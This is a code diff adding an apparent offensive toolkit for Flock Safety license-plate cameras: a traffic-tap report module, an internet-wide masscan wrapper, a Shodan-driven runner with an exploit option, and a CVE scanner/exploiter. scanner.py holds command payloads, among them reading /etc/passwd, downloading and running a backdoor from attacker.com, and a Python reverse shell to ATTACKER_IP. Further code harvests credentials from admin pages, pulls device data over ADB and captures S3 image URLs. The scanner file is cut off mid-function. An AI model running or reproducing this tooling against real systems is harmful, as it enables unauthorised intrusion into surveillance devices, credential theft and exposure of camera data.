+ # Always include flow_stats
+ report["flow_stats"][ip] = dict(self.flow_stats[ip])
+
+ dev = self.devices.get(ip, {})
+ if dev.get("packets_seen", 0) < 5:
+ continue
+
+ snis = list(set(s["sni"] for s in dev.get("tls_snis", [])))
+ dns_list = list(set(q["query"] for q in dev.get("dns_queries", [])))
+
+ report["devices"][ip] = {
+ "verdict": verdict,
+ "packets_seen": dev["packets_seen"],
+ "bytes_up": dev["bytes_up"],
+ "bytes_down": dev["bytes_down"],
+ "first_seen": dev["first_seen"],
+ "last_seen": dev["last_seen"],
+ "dns_queries_count": len(dev["dns_queries"]),
+ "tls_snis_count": len(dev.get("tls_snis", [])),
+ "frp_tunnels_count": len(dev.get("frp_tunnels", [])),
+ "connections_count": len(dev.get("connections", [])),
+ "flow_stats": dict(self.flow_stats[ip]),
+ "tls_snis": snis,
+ "frp_tunnels": dev.get("frp_tunnels", []),
+ "dns_domains": dns_list,
+ }
+
+ report["summary"] = {
+ "total_ips_tracked": len(self.devices),
+ "cloud_connected": cloud_count,
+ "local_station": local_count,
+ "unknown": unknown_count,
+ "flock_domains_resolved": sorted(
+ d for d in self.seen_domains if "flock" in d.lower()
+ ),
+ "total_flock_queries": sum(
+ 1 for dev in self.devices.values()
+ for q in dev.get("dns_queries", [])
+ if "flock" in q.get("query", "").lower()
+ ),
+ "total_frp_tunnels": sum(
+ len(dev.get("frp_tunnels", [])) for dev in self.devices.values()
+ ),
+ }
+ return report
+
+ def _extract_s3_from_collected(self):
+ """Scan collected traffic data for S3/image URLs."""
+ from modules.s3_url_catcher import scan_traffic_for_s3, format_s3_findings_terminal
+
+ # Build payload list from DNS queries (some domains look like S3)
+ pcap_bodies = []
+ for dev_ip, dev in self.devices.items():
+ for dns in dev.get("dns_queries", []):
+ q = dns.get("query", "")
+ if "s3" in q.lower() or "amazonaws" in q.lower() or "flock-hibiki" in q.lower():
+ pcap_bodies.append(q)
+ for sni in dev.get("tls_snis", []):
+ s = sni.get("sni", "")
+ if "s3" in s.lower() or "amazonaws" in s.lower():
+ pcap_bodies.append(s)
+ for conn in dev.get("connections", []):
+ # HTTP payloads sometimes appear in connection data
+ raw = conn.get("payload", "")
+ if raw and ("s3" in raw.lower() or "flock-hibiki" in raw.lower()):
+ pcap_bodies.append(raw)
+
+ return scan_traffic_for_s3(pcap_payloads=pcap_bodies)
+
+ def report(self):
+ """Print and optionally save the report."""
+ print(f"\n{C.B}{'='*70}{C.END}")
+ print(f"{C.B} FLOCK TRAFFIC TAP REPORT{C.END}")
+ print(f"{C.B}{'='*70}{C.END}")
+
+ elapsed = time.time() - self.start_time if self.start_time else 0
+ print(f"\n{C.CY}Capture:{C.END}")
+ if self.interface:
+ print(f" Interface: {self.interface}")
+ if self.pcap:
+ print(f" PCAP: {self.pcap}")
+ print(f" Duration: {elapsed:.1f}s")
+ print(f" Packets: {self.packet_count:,}")
+
+ cloud_cams = []
+ for ip in sorted(self.devices):
+ if self.classify_camera(ip) == "CLOUD_CONNECTED":
+ cloud_cams.append(ip)
+
+ print(f"\n{C.CY}Classification:{C.END}")
+ print(f" Cloud-connected: {len(cloud_cams)}")
+ print(f" Local station: {sum(1 for ip in self.devices if self.classify_camera(ip) == 'LOCAL_STATION')}")
+ print(f" Unknown: {sum(1 for ip in self.devices if self.classify_camera(ip) == 'UNKNOWN')}")
+
+ if cloud_cams:
+ print(f"\n{C.R}Cloud-Connected Cameras:{C.END}")
+ for ip in cloud_cams:
+ dev = self.devices[ip]
+ evidence = []
+ dns_list = list(set(q["query"] for q in dev.get("dns_queries", [])
+ if "flock" in q["query"].lower()))
+ snis = list(set(s["sni"] for s in dev.get("tls_snis", [])
+ if "flock" in s["sni"].lower() or "auth0" in s["sni"].lower()))
+ frps = dev.get("frp_tunnels", [])
+ if dns_list:
+ evidence.append(f"DNS({', '.join(dns_list[:3])})")
+ if snis:
+ evidence.append(f"SNI({', '.join(snis[:3])})")
+ if frps:
+ evidence.append(f"FRP({len(frps)} tunnels)")
+ print(f" {C.R}[!] {ip:<16}{C.END} {' | '.join(evidence[:3])}")
+
+ # All Flock domains seen
+ flock_domains = sorted(
+ d for d in self.seen_domains
+ if "flock" in d.lower() or "auth0" in d.lower()
+ )
+ if flock_domains:
+ print(f"\n{C.CY}Flock Domains Resolved:{C.END}")
+ for d in flock_domains:
+ print(f" ﹒ {d}")
+
+ # FRP tunnels
+ total_frp = sum(len(dev.get("frp_tunnels", [])) for dev in self.devices.values())
+ if total_frp > 0:
+ print(f"\n{C.R}FRP Tunnels: {total_frp}{C.END}")
+ for ip, dev in sorted(self.devices.items()):
+ for frp in dev.get("frp_tunnels", []):
+ print(f" {C.R}[!] {ip} -> {frp['dst']}:{frp['port']} [{frp.get('type','')}]{C.END}")
+
+ # SNI Categorization summary
+ auth_count = sum(fs["auth_tls"] for fs in self.flow_stats.values())
+ s3_count = sum(fs["s3_uploads"] for fs in self.flow_stats.values())
+ api_count = sum(fs["cloud_api"] for fs in self.flow_stats.values())
+ if auth_count or s3_count or api_count:
+ print(f"\n{C.CY}TLS Traffic Categories:{C.END}")
+ if auth_count:
+ print(f" auth: {auth_count} connections")
+ if s3_count:
+ print(f" s3_upload: {s3_count} connections")
+ if api_count:
+ print(f" cloud_api: {api_count} connections")
+
+ # S3 URLs from captured traffic
+ try:
+ s3_urls = self._extract_s3_from_collected()
+ if s3_urls:
+ from modules.s3_url_catcher import format_s3_findings_terminal
+ print(f"\n{C.Y}S3/Image URLs Captured:{C.END}")
+ print(format_s3_findings_terminal(s3_urls))
+ except Exception:
+ pass
+
+ # Save
+ if self.output_file:
+ report_data = self.generate_report()
+ # Add S3 URLs to saved report
+ try:
+ s3_urls = self._extract_s3_from_collected()
+ if s3_urls:
+ report_data["s3_image_urls"] = s3_urls
+ except Exception:
+ pass
+ with open(self.output_file, "w") as f:
+ json.dump(report_data, f, indent=2)
+ print(f"\n{C.G}Report saved to {self.output_file}{C.END}")
+
+ print(f"\n{C.B}{'='*70}{C.END}\n")
+
+
+def main():
+ import argparse
+ parser = argparse.ArgumentParser(description="Flock Traffic Tap — Passive Camera Monitor")
+ parser.add_argument("--tap-interface", help="Network interface for live capture")
+ parser.add_argument("--tap-pcap", help="PCAP file to analyze")
+ parser.add_argument("--tap-pipe", action="store_true", help="Read from stdin pipe")
+ parser.add_argument("--tap-output", help="Save report to JSON file")
+ parser.add_argument("--tap-verbose", "-v", action="store_true", help="Verbose output")
+ parser.add_argument("--tap-timeout", type=int, default=None, help="Capture duration (seconds)")
+ parser.add_argument("--tap-filter", default=None, help="BPF filter expression")
+ args = parser.parse_args()
+
+ tap = FlockTrafficTap(
+ interface=args.tap_interface, pcap=args.tap_pcap, pipe=args.tap_pipe,
+ verbose=args.tap_verbose, output_file=args.tap_output, timeout=args.tap_timeout,
+ filter_expr=args.tap_filter,
+ )
+ if not args.tap_interface and not args.tap_pcap and not args.tap_pipe:
+ parser.print_help()
+ print(f"\n{C.Y}Specify --tap-interface, --tap-pcap, or --tap-pipe{C.END}")
+ return
+ tap.start()
+ tap.report()
+
+
+if __name__ == "__main__":
+ main()
diff --git a/masscan_wrapper.sh b/masscan_wrapper.sh
new file mode 100644
index 0000000..2af4996
--- /dev/null
+++ b/masscan_wrapper.sh
@@ -0,0 +1,18 @@
+#!/bin/bash
+# masscan_wrapper.sh - Use masscan to find targets
+
+echo "CVE-2025 Masscan Wrapper"
+echo "========================"
+
+# Common ports for vulnerable services
+PORTS="80,443,5555,5037,8080,8443,9000,8443"
+
+echo "Running masscan for ports: $PORTS"
+sudo masscan -p$PORTS --rate=1000 -oJ masscan_results.json 0.0.0.0/0
+
+echo "Extracting IPs..."
+cat masscan_results.json | jq -r '.[] | .ip' > targets.txt
+
+echo "Found $(wc -l < targets.txt) targets"
+echo "Now scanning targets with CVE scanner..."
+python3 cve_scanner.py -f targets.txt -o results.json
diff --git a/run_scanner.sh b/run_scanner.sh
new file mode 100644
index 0000000..0ccd671
--- /dev/null
+++ b/run_scanner.sh
@@ -0,0 +1,34 @@
+#!/bin/bash
+# Run scanner with proper Shodan queries
+
+echo "CVE-2025 Scanner with Shodan Integration"
+echo "========================================"
+echo ""
+
+# Generate queries
+echo "Generating Shodan queries..."
+python3 shodan_queries.py
+
+echo ""
+echo "Select option:"
+echo "1. Run scanner with Shodan auto-query"
+echo "2. Run scanner with manual IP"
+echo "3. Run scanner with file"
+
+read -p "Choice (1-3): " choice
+
+case $choice in
+ 1)
+ echo "Running scanner with Shodan..."
+ # Use the scanner with a specific query
+ python3 scanner.py -v
+ ;;
+ 2)
+ read -p "Enter IP: " ip
+ python3 scanner.py -t $ip --exploit
+ ;;
+ 3)
+ read -p "Enter file: " file
+ python3 scanner.py -f $file
+ ;;
+esac
diff --git a/scanner.py b/scanner.py
new file mode 100644
index 0000000..27f1b1a
--- /dev/null
+++ b/scanner.py
@@ -0,0 +1,1325 @@
+#!/usr/bin/env python3
+"""
+FLOCK CVE Scanner + Discover + Traffic Analysis
+Scans for:
+ - CVE-2025-59403: Unauthenticated admin API / ADB RCE (9.8)
+ - CVE-2025-59407: Hardcoded keystore crypto key (CRITICAL)
+ - CVE-2025-47818: Hardcoded fallback hotspot credentials
+ - CVE-2025-47823: Hardcoded system password on ALPR firmware
+ - Flock instance discovery on local subnet
+ - Cloud vs local station data flow detection
+"""
+
+import socket
+import ssl
+import json
+import time
+import sys
+import os
+import re
+import hashlib
+import base64
+import threading
+import queue
+import subprocess
+import telnetlib
+import struct
+from datetime import datetime
+from urllib.parse import urlparse, urljoin
+import requests
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+import argparse
+import csv
+import random
+
+# Import traffic tap module (optional)
+try:
+ from flock_tap import FlockTrafficTap, C as TapColors
+ HAVE_TAP = True
+except ImportError:
+ HAVE_TAP = False
+
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+# ── Flock-known infrastructure for cloud detection ──
+FLOCK_CLOUD_DOMAINS = [
+ "api.flocksafety.com", "app.flocksafety.com", "users.flocksafety.com",
+ "login.flocksafety.com", "websockets.flocksafety.com", "safelist.flocksafety.com",
+ "events.flocksafety.com", "docs.flocksafety.com", "status.flocksafety.com",
+ "flock-hibiki-inbox.s3.us-east-1.amazonaws.com",
+ "prod-flock-cd-bymknkftygg5gmc0.edge.tenants.auth0.com",
+ "internal.flocksafety.com", "prometheus.flocksafety.com",
+]
+
+FLOCK_CLOUD_IPS = [
+ "198.202.211.1", # flocksafety.com A
+ "52.72.49.79", # safelist (AWS)
+ "34.71.237.120", # scim (GCP)
+ "104.18.16.189", # websockets (Cloudflare)
+ "104.18.17.189", # websockets (Cloudflare)
+]
+
+# ── Flock ONVIF manufacturer fingerprint strings ──
+FLOCK_ONVIF_FINGERPRINTS = [
+ b"Flock", b"Flock Safety", b"Falcon", b"Sparrow",
+ b"admin_page_template", b"SpeedPourer", b"Picard", b"Bravo",
+]
+
+class Colors:
+ HEADER = '\033[95m'
+ BLUE = '\033[94m'
+ CYAN = '\033[96m'
+ GREEN = '\033[92m'
+ YELLOW = '\033[93m'
+ RED = '\033[91m'
+ END = '\033[0m'
+ BOLD = '\033[1m'
+ UNDERLINE = '\033[4m'
+ BLINK = '\033[5m'
+
+# Extended Shodan queries
+SHODAN_QUERIES = {
+ 'CVE-2025-59403': [
+ 'title:"Falcon"', 'title:"Sparrow"',
+ '"/api/v1/admin"', '"/api/v1/system"', '"/api/v1/debug"',
+ 'port:5555 "Android"', '"Android Debug Bridge"',
+ 'port:5037 adb', 'http.title:"ADB"',
+ '"Falcon" "api" port:443', '"Sparrow" "api" port:443',
+ '"/api/v1/execute"', '"/api/v1/command"',
+ ],
+ 'CVE-2025-59407': [
+ '"Android" "v6.35.33"', '"keystore" "hardcoded"',
+ '"crypto" "key" "Android"', '"/api/v1/keystore"',
+ '"/api/v1/security"', '"hardcoded_key"', '"default_key"',
+ ],
+ 'CVE-2025-47818': [
+ '"hotspot" "fallback"', '"/api/v1/hotspot"',
+ '"default" "hotspot" "credentials"', '"/api/v1/wifi"',
+ '"hotspot" "config"', '"wifi" "credentials"',
+ ],
+ 'CVE-2025-47823': [
+ '"ALPR" "v2.0"', '"ALPR" "v2.1"', '"ALPR" "v2.2"',
+ '"/api/v1/alpr"', '"license plate" "system"',
+ '"LPR" "firmware"', '"ALPR" "firmware"', '"/alpr" "/api"',
+ ],
+ 'FLOCK_DISCOVERY': [
+ 'title:"admin_page_template"',
+ '"admin_page_template.html"',
+ '"/onvif/device_service" Flock',
+ '"SpeedPourer" port:21',
+ '"FRP" "flock" port:7000',
+ '"M5NanoC6" "flock"',
+ '"flock" "ADB" port:5555',
+ 'ssl.cert.subject.cn:"*.flocksafety.com"',
+ 'ssl.cert.subject.cn:"*.ops.flocksafety.com"',
+ 'org:"Flock Safety"',
+ '"flock-hibiki"',
+ ],
+}
+
+
+class CVEExploiter:
+ def __init__(self, verbose=False, output_file=None, threads=10, timeout=5, exploit=False, enrich=False):
+ self.verbose = verbose
+ self.output_file = output_file
+ self.threads = threads
+ self.timeout = timeout
+ self.exploit = exploit
+ self.enrich = enrich
+ self.results = []
+ self.lock = threading.Lock()
+ self.work_queue = queue.Queue()
+ self.total_scanned = 0
+ self.vulnerable_found = 0
+ self.exploited = 0
+ self.shodan_api_key = None
+
+ self.payloads = {
+ 'CVE-2025-59403': {
+ 'command_exec': [
+ 'id', 'whoami', 'uname -a',
+ 'cat /etc/passwd', 'ls -la /', 'ps aux',
+ 'netstat -tulpn', 'ifconfig',
+ 'echo "VULNERABLE" > /tmp/test.txt',
+ 'wget -O /tmp/backdoor.sh http://attacker.com/shell.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh',
+ 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',
+ ],
+ 'adb_commands': [
+ 'shell id', 'shell whoami', 'shell getprop',
+ 'shell pm list packages', 'shell dumpsys battery',
+ 'shell input keyevent 26',
+ 'shell settings put global adb_enabled 1',
+ 'shell settings put secure install_non_market_apps 1',
+ ],
+ },
+ 'CVE-2025-59407': {
+ 'crypto_keys': [
+ 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA',
+ 'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ==',
+ '-----BEGIN PRIVATE KEY-----',
+ 'hardcoded_keystore_password',
+ 'android_keystore_key_2024',
+ 'default_crypto_key_v6.35.33',
+ ],
+ },
+ }
+
+ # ═══════════════════════════════════════════════════
+ # PRIMITIVE HELPERS
+ # ═══════════════════════════════════════════════════
+
+ def _probe_port(self, host, port, proto="tcp"):
+ """Quick TCP connect probe."""
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.settimeout(self.timeout)
+ r = s.connect_ex((host, port))
+ s.close()
+ return r == 0
+ except Exception:
+ return False
+
+ def _http_get(self, host, path="/", port=80, timeout=None):
+ """Plain HTTP GET, returns body text or None."""
+ try:
+ u = f"http://{host}:{port}{path}"
+ r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"})
+ if r.status_code < 500:
+ return r.text
+ except Exception:
+ pass
+ try:
+ u = f"https://{host}:443{path}"
+ r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"})
+ if r.status_code < 500:
+ return r.text
+ except Exception:
+ pass
+ return None
+
+ def _is_private_ip(self, ip):
+ try:
+ first = int(ip.split(".")[0])
+ if first == 10:
+ return True
+ if first == 172 and 16 <= int(ip.split(".")[1]) <= 31:
+ return True
+ if first == 192 and ip.split(".")[1] == "168":
+ return True
+ except Exception:
+ pass
+ return False
+
+ def _adb_get_prop(self, host, prop):
+ """Try ADB getprop on port 5555."""
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.settimeout(self.timeout)
+ s.connect((host, 5555))
+ s.send(f"shell getprop {prop}\n".encode())
+ time.sleep(0.5)
+ data = s.recv(4096).decode(errors="replace")
+ s.close()
+ return data.strip()
+ except Exception:
+ return None
+
+ def _onvif_probe(self, host):
+ """Send ONVIF GetDeviceInformation probe."""
+ body = (
+ ''
+ ''
+ ''
+ ''
+ ''
+ )
+ for port in (80, 443, 8899):
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.settimeout(self.timeout)
+ s.connect((host, port))
+ req = (
+ f"POST /onvif/device_service HTTP/1.1\r\n"
+ f"Host: {host}:{port}\r\n"
+ f"Content-Type: application/soap+xml; charset=utf-8\r\n"
+ f"Content-Length: {len(body)}\r\n"
+ f"Connection: close\r\n\r\n{body}"
+ )
+ s.send(req.encode())
+ resp = s.recv(4096)
+ s.close()
+ # Check for Flock-specific manufacturer strings
+ if any(fingerprint in resp for fingerprint in FLOCK_ONVIF_FINGERPRINTS):
+ # Extract manufacturer/model
+ m = re.search(rb"(.*?)", resp)
+ model = re.search(rb"(.*?)", resp)
+ return {
+ "manufacturer": m.group(1).decode(errors="replace") if m else "unknown",
+ "model": model.group(1).decode(errors="replace") if model else "unknown",
+ }
+ except Exception:
+ pass
+ return None
+
+ def _check_frp_tunnel(self, host):
+ """Check if a Flock FRP tunnel server is listening on common FRP ports."""
+ for port in (7000, 7500, 7001):
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.settimeout(3)
+ s.connect((host, port))
+ # FRP server sends a short banner or waits for auth
+ s.settimeout(2)
+ try:
+ banner = s.recv(128)
+ if b"frp" in banner.lower() or b"auth" in banner.lower() or len(banner) > 0:
+ s.close()
+ return {"port": port, "banner": banner[:64].decode(errors="replace")}
+ except socket.timeout:
+ # Connection accepted but no banner — possible FRP
+ s.close()
+ return {"port": port, "banner": "(no banner — possible FRP tunnel)"}
+ s.close()
+ except Exception:
+ pass
+ return None
+
+ def _check_dns_resolve(self, hostname):
+ """Check if a hostname resolves to a known Flock cloud IP."""
+ try:
+ ips = socket.getaddrinfo(hostname, 80)
+ return [addr[4][0] for addr in ips]
+ except Exception:
+ return []
+
+ def _check_cloud_connection(self, camera_ip):
+ """
+ Probe a suspected camera to determine if it talks to Flock cloud
+ or a local station. Uses three methods:
+ A) DNS test on the camera's configured DNS server
+ B) Check if the admin web UI contains cloud URLs
+ C) Port-scan for local relay
+ """
+ evidence = []
+
+ # B) Probe admin web interface for embedded cloud URLs
+ for path in ("/", "/metadata", "/config", "/config/network", "/status"):
+ body = self._http_get(camera_ip, path)
+ if body:
+ for domain in FLOCK_CLOUD_DOMAINS:
+ if domain in body:
+ evidence.append(f"admin_ui_contains_{domain}")
+
+ # C) Check for local station relay port
+ for relay_port in (80, 8080, 9090, 443):
+ if self._probe_port(camera_ip, relay_port):
+ evidence.append(f"local_relay_port_{relay_port}")
+
+ if evidence:
+ if any("admin_ui_contains" in e for e in evidence):
+ return "CLOUD", evidence
+ return "LOCAL", evidence
+ return "UNKNOWN", evidence
+
+ def _traffic_sniff_analysis(self, camera_ip, duration=30):
+ """
+ Passive DNS / TCP analysis (requires root / scapy).
+ Falls back to DNS-resolution test if scapy not available.
+ """
+ # Fallback: just try to resolve Flock domains — if the camera's
+ # network allows it, the camera itself will resolve them.
+ reachable = []
+ for domain in FLOCK_CLOUD_DOMAINS[:6]:
+ ips = self._check_dns_resolve(domain)
+ if ips:
+ reachable.append(domain)
+ if reachable:
+ return "CLOUD_REACHABLE", reachable
+ else:
+ return "NO_CLOUD_REACHABLE", []
+
+ # ═══════════════════════════════════════════════════
+ # ENRICHMENT MODULES (v3.0+)
+ # ═══════════════════════════════════════════════════
+
+ def _run_enrichment(self, host):
+ """
+ Run all enrichment modules against a host.
+ Called when --enrich flag is set.
+ """
+ enrichment = {}
+
+ try:
+ from modules.banner_grabber import grab_all_banners
+ enrichment["banners"] = grab_all_banners(host, timeout=self.timeout)
+ except Exception as e:
+ if self.verbose:
+ print(f" [banner_grabber] {e}")
+
+ try:
+ from modules.cloud_enrich import enrich_ip
+ # Enrich the target IP
+ ip_info = enrich_ip(host, timeout=self.timeout)
+ if ip_info:
+ enrichment["ip_intel"] = ip_info
+ # Also enrich known Flock cloud IPs if we detected them
+ cloud_ips = []
+ for finding in getattr(self, '_current_findings', []):
+ if 'cloud' in finding.get('type','').lower() or 'flock' in finding.get('detail','').lower():
+ # We'd need to extract IPs — handled at print time
+ pass
+ except Exception as e:
+ if self.verbose:
+ print(f" [cloud_enrich] {e}")
+
+ # Telemetry from admin web page
+ http_res = None
+ for port in (80, 443):
+ try:
+ body = self._http_get(host, "/", port=port)
+ if body:
+ from modules.telemetry import extract_telemetry
+ telemetry = extract_telemetry(body)
+ if telemetry:
+ enrichment[f"telemetry_{port}"] = telemetry
+ break
+ except Exception:
+ pass
+
+ # ADB deep collect
+ try:
+ from modules.adb_deep import adb_deep_collect
+ adb_data = adb_deep_collect(host, timeout=self.timeout)
+ if adb_data:
+ enrichment["adb_deep"] = adb_data
+ except Exception as e:
+ if self.verbose:
+ print(f" [adb_deep] {e}")
+
+ # Network map (passive, ARP-based)
+ try:
+ from modules.network_map import NetworkMapper
+ nm = NetworkMapper(host, timeout=self.timeout)
+ net_map = nm.full_map()
+ if net_map and net_map.get("discovered_devices"):
+ enrichment["network_map"] = net_map
+ except Exception as e:
+ if self.verbose:
+ print(f" [network_map] {e}")
+
+ # ── NEW v3.1 modules ──
+
+ # Credential extraction from HTTP bodies
+ try:
+ from modules.creds_extractor import extract_creds, extract_creds_from_headers
+ creds = []
+ for port in (80, 443):
+ body = self._http_get(host, "/", port=port)
+ if body:
+ found = extract_creds(body, source=f"admin_page_{port}")
+ # Also try common config endpoints
+ for cfg_path in ("/config", "/config.json", "/api/config", "/status", "/metadata"):
+ more_body = self._http_get(host, cfg_path, port=port)
+ if more_body:
+ found += extract_creds(more_body, source=f"{cfg_path}_{port}")
+ if found:
+ creds.extend(found)
+ if creds:
+ enrichment["credentials"] = creds
+ # Write to file
+ try:
+ from modules.creds_extractor import write_creds_report
+ creds_path = os.path.join(
+ os.path.dirname(self.output_file or "results"),
+ f"creds_{host.replace('.', '_')}.txt"
+ ) if self.output_file else f"creds_{host.replace('.', '_')}.txt"
+ write_creds_report(creds, creds_path)
+ except Exception as e:
+ if self.verbose:
+ print(f" [creds write] {e}")
+ except Exception as e:
+ if self.verbose:
+ print(f" [creds_extractor] {e}")
+
+ # Prometheus scraping
+ try:
+ from modules.prometheus_scraper import probe_prometheus, scan_subnet_for_prometheus
+ # Get gateway info from network_map or adb_deep
+ gateway = None
+ if enrichment.get("adb_deep"):
+ gateway = enrichment["adb_deep"].get("gateway")
+ elif enrichment.get("network_map", {}).get("camera", {}).get("network_info"):
+ gateway = enrichment["network_map"]["camera"]["network_info"].get("gateway")
+
+ prom_results = []
+ # Probe the camera host itself
+ p = probe_prometheus(host, timeout=self.timeout)
+ if p:
+ prom_results.append(p)
+ # Probe gateway if available
+ if gateway:
+ p = probe_prometheus(gateway, timeout=self.timeout)
+ if p:
+ prom_results.append(p)
+ if prom_results:
+ enrichment["prometheus"] = prom_results
+ except Exception as e:
+ if self.verbose:
+ print(f" [prometheus] {e}")
+
+ # S3 URL capture from HTTP bodies
+ try:
+ from modules.s3_url_catcher import scan_traffic_for_s3
+ http_bodies = []
+ for port in (80, 443):
+ for path in ("/", "/config", "/status", "/metadata", "/api/v1/status"):
+ body = self._http_get(host, path, port=port)
+ if body:
+ http_bodies.append({
+ "body": body,
+ "source": f"{host}:{port}{path}",
+ })
+ s3_urls = scan_traffic_for_s3(http_responses=http_bodies)
+ if s3_urls:
+ enrichment["s3_urls"] = s3_urls
+ try:
+ from modules.s3_url_catcher import write_s3_report
+ s3_path = os.path.join(
+ os.path.dirname(self.output_file or "results"),
+ f"s3_urls_{host.replace('.', '_')}.txt"
+ ) if self.output_file else f"s3_urls_{host.replace('.', '_')}.txt"
+ write_s3_report(s3_urls, s3_path)
+ except Exception as e:
+ if self.verbose:
+ print(f" [s3 write] {e}")
+ except Exception as e:
+ if self.verbose:
+ print(f" [s3_url_catcher] {e}")
+
+ return enrichment if enrichment else None
+
+ # ═══════════════════════════════════════════════════
+ # FINGERPRINT DISCOVERY
+ # ═══════════════════════════════════════════════════
+
+ def discover_fingerprints(self, host):
+ """
+ Run all Flock fingerprint probes against a single host.
+ Returns a list of finding dicts.
+ """
+ findings = []
+
+ # 1) ADB / Android shell
+ if self._probe_port(host, 5555):
+ model = self._adb_get_prop(host, "ro.product.model")
+ device = self._adb_get_prop(host, "ro.product.device")
+ if model and ("flock" in model.lower() or "falcon" in model.lower() or "sparrow" in model.lower()):
+ findings.append({
+ "type": "FLOCK_ADB", "port": 5555,
+ "device": model, "cve": "CVE-2025-59403",
+ "detail": f"ADB accessible, model={model}, device={device}",
+ })
+ elif model:
+ findings.append({
+ "type": "ANDROID_ADB", "port": 5555,
+ "device": model,
+ "detail": f"Android ADB open (non-Flock model='{model}')",
+ })
+
+ # 2) Admin web UI fingerprints
+ for port in (80, 443):
+ body = self._http_get(host, "/", port=port)
+ if body:
+ if "admin_page_template" in body:
+ findings.append({
+ "type": "FLOCK_ADMIN_WEB", "port": port,
+ "cve": "CVE-2025-59403",
+ "detail": "admin_page_template.html found — confirmed Flock admin portal",
+ })
+ if "SpeedPourer" in body:
+ findings.append({
+ "type": "FLOCK_SPEEDPOURER", "port": port,
+ "detail": "SpeedPourer FTP reference found on admin page",
+ })
+ if "flock" in body.lower():
+ # Generic Flock mention
+ findings.append({
+ "type": "FLOCK_GENERIC", "port": port,
+ "detail": "Page body contains 'flock' text",
+ })
+
+ # 3) ONVIF probe
+ onvif = self._onvif_probe(host)
+ if onvif:
+ findings.append({
+ "type": "FLOCK_ONVIF",
+ "detail": f"ONVIF device — Manufacturer={onvif['manufacturer']}, Model={onvif['model']}",
+ "onvif_info": onvif,
+ })
+
+ # 4) FRP tunnel
+ frp = self._check_frp_tunnel(host)
+ if frp:
+ findings.append({
+ "type": "FRP_TUNNEL", "port": frp["port"],
+ "detail": f"FRP tunnel server on port {frp['port']}: {frp['banner']}",
+ })
+
+ # 5) CVE probes (reuse existing logic)
+ cve_results = self.scan_and_exploit(host)
+ for cr in cve_results:
+ findings.append({
+ "type": cr.get("cve", "CVE"),
+ "detail": f"{cr.get('cve','?')} — path={cr.get('path','')} exploited={cr.get('exploited',False)}",
+ "cve_finding": cr,
+ })
+
+ # 6) Cloud connection check
+ verdict, evid = self._check_cloud_connection(host)
+ if verdict != "UNKNOWN":
+ findings.append({
+ "type": f"DATA_FLOW_{verdict}",
+ "detail": f"Data flow verdict: {verdict}. Evidence: {', '.join(evid[:5])}",
+ })
+
+ # 7) Enrichment (v3.0+ — banners, cloud provider, telemetry, ADB deep, network map)
+ if self.enrich:
+ self._current_findings = findings
+ enrich_data = self._run_enrichment(host)
+ if enrich_data:
+ findings.append({
+ "type": "ENRICHMENT",
+ "detail": f"Enrichment data collected: {', '.join(k for k in enrich_data.keys())}",
+ "enrichment_data": enrich_data,
+ })
+
+ return findings
+
+ # ═══════════════════════════════════════════════════
+ # DISCOVERY RUNNER
+ # ═══════════════════════════════════════════════════
+
+ def run_discovery(self, cidr):
+ """Multi-threaded subnet discovery for Flock instances."""
+ import ipaddress
+ net = ipaddress.ip_network(cidr, strict=False)
+ hosts = [str(ip) for ip in net.hosts()]
+ print(f"{Colors.CYAN}Scanning {len(hosts)} hosts in {cidr} for Flock fingerprints…{Colors.END}")
+ print(f"{Colors.YELLOW}Threads={self.threads}, timeout={self.timeout}s{Colors.END}")
+ start = time.time()
+ discovered = []
+
+ def _discover_worker():
+ while True:
+ try:
+ h = self.work_queue.get_nowait()
+ except queue.Empty:
+ return
+ find = self.discover_fingerprints(h)
+ if find:
+ with self.lock:
+ discovered.append({"host": h, "findings": find})
+ self.results.append({"target": h, "findings": find, "type": "DISCOVERY"})
+ self.vulnerable_found += len(find)
+ with self.lock:
+ self.total_scanned += 1
+ if self.total_scanned % 25 == 0:
+ elapsed = time.time() - start
+ rate = self.total_scanned / elapsed if elapsed > 0 else 0
+ eta = (len(hosts) - self.total_scanned) / rate if rate > 0 else 0
+ sys.stdout.write(
+ f"\r{Colors.CYAN}[{self.total_scanned}/{len(hosts)}] "
+ f"found={len(discovered)} rate={rate:.0f}/s eta={eta:.0f}s{Colors.END} "
+ )
+ sys.stdout.flush()
+ self.work_queue.task_done()
+
+ for h in hosts:
+ self.work_queue.put(h)
+
+ threads = []
+ for _ in range(min(self.threads, len(hosts))):
+ t = threading.Thread(target=_discover_worker, daemon=True)
+ t.start()
+ threads.append(t)
+ for t in threads:
+ t.join()
+
+ elapsed = time.time() - start
+ print()
+ print(f"\n{Colors.GREEN}Discovery complete in {elapsed:.1f}s{Colors.END}")
+ print(f"{Colors.CYAN}Scanned: {self.total_scanned} | Flock instances found: {len(discovered)}{Colors.END}")
+
+ # Show a summary table
+ if discovered:
+ print(f"\n{Colors.BOLD}{'Host':<18} {'Types':<40}{Colors.END}")
+ print("─" * 60)
+ for d in discovered:
+ types = ", ".join(f["type"] for f in d["findings"])
+ print(f"{d['host']:<18} {types:<40}")
+
+ return discovered
+
+ # ═══════════════════════════════════════════════════
+ # TRAFFIC ANALYSIS RUNNER
+ # ═══════════════════════════════════════════════════
+
+ def run_traffic_analysis(self, camera_ip):
+ """
+ Analyze whether a Flock camera sends data to the cloud
+ or a local station. Returns structured verdict.
+ """
+ print(f"\n{Colors.CYAN}Analyzing data flow for {camera_ip}…{Colors.END}")
+
+ result = {"target": camera_ip, "type": "TRAFFIC_ANALYSIS", "checks": []}
+
